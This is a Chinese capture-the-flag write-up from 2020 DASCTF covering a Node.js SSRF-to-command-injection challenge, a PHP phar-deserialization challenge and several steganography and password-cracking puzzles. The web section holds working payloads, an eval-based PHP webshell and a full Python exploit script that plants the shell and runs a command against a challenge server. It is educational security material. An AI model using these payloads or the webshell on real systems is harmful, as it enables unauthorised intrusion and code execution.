2020DASCTF Write-up

队伍名称:Test1024

队伍成员:

gyy,Trick,X06

队伍情况:



继续学习吧,还是太菜了

WEB

Easyjs

2020网鼎杯线下半决赛web_babyJS,近乎原题

打开即为空的json

给了源码,关键web逻辑routes\index.js

var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();


var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
    res.json({});
});

router.get('/debug', function(req, res, next) {
    console.log(req.ip);
    if(blacklist.indexOf(req.ip)!=-1){
        console.log('res');
	var u=req.query.url.replace(/[\"\']/ig,'');
	console.log(url.parse(u).href);
	let log=`echo  '${url.parse(u).href}'>>/tmp/log`;
	console.log(log);
	child_process.exec(log);
	res.json({data:fs.readFileSync('/tmp/log').toString()});
    }else{
        res.json({});
    }
});


router.post('/debug', function(req, res, next) {
    console.log(req.body);
    if(req.body.url !== undefined) {
        var u = req.body.url;
	var urlObject=url.parse(u);
	if(blacklist.indexOf(urlObject.hostname) == -1){
		var dest=urlObject.href;
		request(dest,(err,result,body)=>{
			res.json(body);
		})
	}
	else{
		res.json([]);
	}
	}
});

module.exports = router;

有个debug路径,请求会判断是不是本地回环访问,即127.0.0.1等,不是则返回空json。如果是本地访问就会读取get中url参数,去除单双引号用nodejs的url.parse解析,解析后的url拼接到shell命令中执行,输出/tmp/log再返回内容。

由此,应先POST/debug, 在url参数中绕过blacklist,让程序再GET请求自己的/debug路径,之后构造注入命令。

考察一个SSRF,构造payload:{"url":"http://127.0.0.2:10300/debug?url=http://%2527@xx"}最后闭合引号

然后考虑把flag文件复制到/tmp/log,利用$IFS

最终payload:{"url":"http://127.0.0.2:10300/debug?url=http://%2527;%2527@xx;cp$IFS/tmp/flag$IFS/tmp/log%00"}


Easyphp

神奇的phar反序列化

源码

<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
    mkdir($sandbox);
}

include_once('template.php');

$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');

if(isset($_GET['var']) && is_array($_GET['var'])) {
    extract($_GET['var'], EXTR_OVERWRITE);
} else {
    highlight_file(__file__);
    die();
}

if(isset($_GET['tp'])) {
    $tp = $_GET['tp'];
    if (array_key_exists($tp, $template) === FALSE) {
        echo "No! You only have 3 template to reader";
        die();
    }
    $content = file_get_contents($template[$tp]);
    $temp = new Template($content);
} else {
    echo "Please choice one template to reader";
}
?>

关键点exract,可见变量覆盖template再利用tp达到任意文件读取。不过不可能直接读flag的,先读了template.php

./?var[template][1]=template.php&tp=1

//template.php
<?php
class Template{
    public $content;
    public $pattern;
    public $suffix;

    public function __construct($content){
        $this->content = $content;
        $this->pattern = "/{{([a-z]+)}}/";
        $this->suffix = ".html";
    }

    public function __destruct() {
        $this->render();
    }
    public function render() {
        while (True) {
            if(preg_match($this->pattern, $this->content, $matches)!==1)
                break;
            global ${$matches[1]};

            if(isset(${$matches[1]})) {
                $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
            }
            else{
                break;
            }
        }
        if(strlen($this->suffix)>5) {
            echo "error suffix";
            die();
        }
        $filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
        file_put_contents($filename, $this->content);
        echo "Your html file is in " . $filename;
    }
}
?>

注意到关键点有个全局变量,联想到之前的变量覆盖,这里肯定是可以利用的。

Template大概意思就是传入的content,利用pattern进行正则匹配,利用全局变量中的值替换匹配到的值,最后输出以suffix后缀的文件。

摸索一番后确认为神奇的phar反序列化,考点为文件上传和命令执行。

利用脚本生成phar文件

<?php
class Template{
    public $content;
    public $pattern;
    public $suffix;
    public function __construct(){
        $this->content = "{{gyycoming}}";
        $this->pattern = "/{{([a-z]+)}}/";
        $this->suffix = ".php";
    }
    public function __destruct() {
        $this->render();
    }
    public function render() {
        while (True) {
            if(preg_match($this->pattern, $this->content, $matches)!==1)
                break;
            global ${$matches[1]};

            if(isset(${$matches[1]})) {
                $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
            }
            else{
                break;
            }
        }
        if(strlen($this->suffix)>5) {
            echo "error suffix";
            die();
        }
        $filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
        file_put_contents($filename, $this->content);
        echo "Your html file is in " . $filename;
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new Template();
$phar -> setMetadata($object);
$phar -> stopBuffering();

可以看到contentgyycoming,之后变量覆盖gyycoming为一句话木马,生成.php文件,即可成功getshell

还有更好的方法,直接content为一句话木马,pattern直接删掉,既然可以phar反序列化,就有很多姿势了。

首先用php://input伪协议上传phar文件。

./tp=1&var[template][1]=php://input,POST上传phar

然后触发phar文件,利用phar://伪协议

./?var[template][1]=phar://"+<url_path>+"&tp=1&var[gyycoming]=<?php eval($_POST[gyy]);?>

可以看到第一个是正常的文件,第二个是触发phar反序列化写入的.php文件,蚁剑连上,到根目录执行/readflag即可。

所以直接读是不可以的,400没有权限,需要执行/readflag

最后附上exp

# -*- coding: utf-8 -*-
"""
@Time : 2020/12/25 14:24
@Auth : gyy
@Blog:http://err0r.top

"""

import requests
import os

baseurl = "http://8.129.41.25:10305/"

def phar():
    php = '''<?php
class Template{
    public $content;
    public $pattern;
    public $suffix;
    public function __construct(){
        $this->content = "{{gyycoming}}";
        $this->pattern = "/{{([a-z]+)}}/";
        $this->suffix = ".php";
    }
    public function __destruct() {
        $this->render();
    }
    public function render() {
        while (True) {
            if(preg_match($this->pattern, $this->content, $matches)!==1)
                break;
            global ${$matches[1]};

            if(isset(${$matches[1]})) {
                $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
            }
            else{
                break;
            }
        }
        if(strlen($this->suffix)>5) {
            echo "error suffix";
            die();
        }
        $filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
        file_put_contents($filename, $this->content);
        echo "Your html file is in " . $filename;
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new Template();
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>'''
    with open('phar.php', 'w') as f:
        f.write(php)
    print('[+] file phar.php is create')
    a = os.popen('php phar.php')
    a.close()
    if os.path.isfile("phar.phar"):
        print('[+] file phar.phar is create')
    else:
        exit("[-] create phar file wrong.")


def up_phar():
    url = baseurl+"?tp=1&var[template][1]=php://input"
    with open("phar.phar", "rb") as f:
        pharfile = f.read()
    res1 = requests.post(url, data=pharfile).content.decode('utf8')
    str = res1.split("in ")[1]
    print("upload file to ----> "+str)
    if "/var/www/html/" in str:
        upurl = baseurl + str.split("/var/www/html/")[1]
        res2 = requests.get(upurl)
        print(res2)
        if res2.status_code == 200:
            print("[+] success!")
            return str
    else:
        exit("[-] upload pharfile error.")

def phar_trigger(upurl):
    url = baseurl+"?var[template][1]=phar://"+upurl+"&tp=1&var[gyycoming]=<?php eval($_POST[gyy]);?>"
    res1 = requests.get(url).content.decode('utf8')
    print(res1)
    str = res1.split("in ")[2]
    print("shell file ----> " + str)
    if ".php" in str:
        shellurl = baseurl + str.split("/var/www/html/")[1]
        res2 = requests.get(shellurl)
        print(res2)
        if res2.status_code == 200:
            print("[+] success!")
            return shellurl
    else:
        exit("[-] trigger pharfile error.")

def shell(shellurl,payload):
    data={
        "gyy" : payload
    }
    res = requests.post(shellurl,data=data).content.decode('utf8')
    print(res)

if __name__ == "__main__":
    payload = "system('/readflag');"

    phar()
    print("********************")
    upurl = up_phar()
    print("********************")
    shellurl = phar_trigger(upurl)
    print("********************")
    shell(shellurl, payload)

MISC


马老师的秘籍

签到题

首先拿到一张图片,随便扫了一个,竟然是招式名称…不过既然是题目,图片肯定不止是图片…用十六进制查看,底部发现了zip标志头50 4D 03 04

用foremost提前或者直接拖到最后新建十六进制文件搞出来,是个压缩包

有加密,所以检查一下,发现有伪加密,直接修改加密位拖出来jpg文件,其他两个是真加密

图片很花,不过依稀能看出来东西的

所以利用Stegsolve,把这张和原图异或一下即可

md5(NianQingRenBuJiangWuDe)

那这串去解密真加密文件c57988283c92f759585a0c1aebfdd743,密码正确。

这里有人说明文攻击也行…没跑过,大概可以吧。

文本文件里一堆左正蹬 右鞭腿 左刺拳,第二个里面

左正蹬 -> .
右鞭腿 -> !
左刺拳 -> ?

很显然,替换。替换完后只有.!?,推测为Ook!加密,直接去解,得到flag


FakePic

RAR压缩包注释提示密码为1???小写字母,共四位

输出个字典用ARPA准备跑,结果提示这不是个RAR文件,则为RAR5格式,利用hashcat破解,得到密码1cpp

解压后一个图片一个提示

10132430

取最前面500位就行

Stegsolve分析一波无果,提示也一头雾水。最后在十六进制查看在文件末尾时发现提示

分析到这没做了,电脑有问题没装上PIL模块。

赛后参考大师傅博客,利用脚本跑出Alpha通道前几个点,发现

都是2的倍数,且倍数都不大。结合前面的提示(而且提示的长度还为8)。那么就猜测提示的作用是这样的:10132430得这样分1 0 1 3 2 4 3 0,然后这8个为一轮一直循环。如果刚好轮到这个数,算出来的pow(2,x)和Alpha通道的值一样,那么就为1,否则就为0。

from PIL import Image
pic = Image.open('flag.png')
width,height = pic.size
flag = ""
z = -1
i = [1,0,1,3,2,4,3,0]
for x in range(width):
    for y in range(height):
        if z <= 500:
            z += 1
            if pow(2, i[z % 8]) == pic.getpixel((x,y))[3]:
                flag += '1'
            else:
                flag += '0'
        else:
            print(flag)
            break

跑出来0110011001101100011000010110011101011111011010010111001100111010011001100011010100111000001100100110010100111001011000100011001100110001001110010110000101100010011001010011000101100101011001000110011001100100001101110110010001100110001101010011011000110101011001100110010101100011011001100011011001100110001101100110011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

去二进制转字符串,得到flag


总结

还是太菜了,有些点还是比较生疏,重点学习了一波phar反序列化,继续学习。